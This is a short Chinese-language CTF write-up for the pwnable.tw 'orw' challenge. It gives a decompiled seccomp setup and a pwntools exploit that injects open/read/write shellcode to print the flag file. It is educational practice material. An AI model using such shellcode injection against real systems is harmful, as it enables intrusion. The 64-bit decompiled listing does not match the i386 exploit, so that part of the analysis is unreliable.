orw on Pwnable.tw

RECON

CheckSec:

image

seccomp-tools:
用來檢查程式有開哪些seccomp規則(所謂的seccomp就是規範有哪些syscall可以被呼叫)
在這題的範例裡面他只有開啟ret, exit和open/read/write

IDA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp+0h] [rbp-10h] BYREF

init(argc, argv, envp);
seccomp();
puts("Give me your shellcode>");
read(0, &sc, 0x100uLL);
puts("I give you bof, you know what to do :)");
gets(v4);
return 0;
}
__int64 seccomp()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL);
return seccomp_load(v1);
}

這邊就更確定哪些seccomp有開ㄌ,也可以知道題目就是開心送shellcode出去跑(沒開NX)

Exploit

由於已經知道flag會在/home/orw/flag,所以可以利用open的syscall將flag檔案內容讀取,再用read閱讀值,最後利用write將資料丟到標準輸出

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

r = remote('chall.pwnable.tw',10001)
# r=process('orw')
# gdb.attach(r)

payload = shellcraft.i386.linux.open('/home/orw/flag', 0)
payload += shellcraft.i386.linux.read('eax', 'esp', 100)
payload += shellcraft.i386.linux.write('1', 'esp', 100)

r.sendline(asm(payload))
r.interactive()

利用shellcraft生shellcode,read搭配’eax’其實就是3的意思,代表從stack讀出來到esp上面(100 bytes)
write(1, esp, 100)代表 std::out(1), 讀出esp,100 bytes

image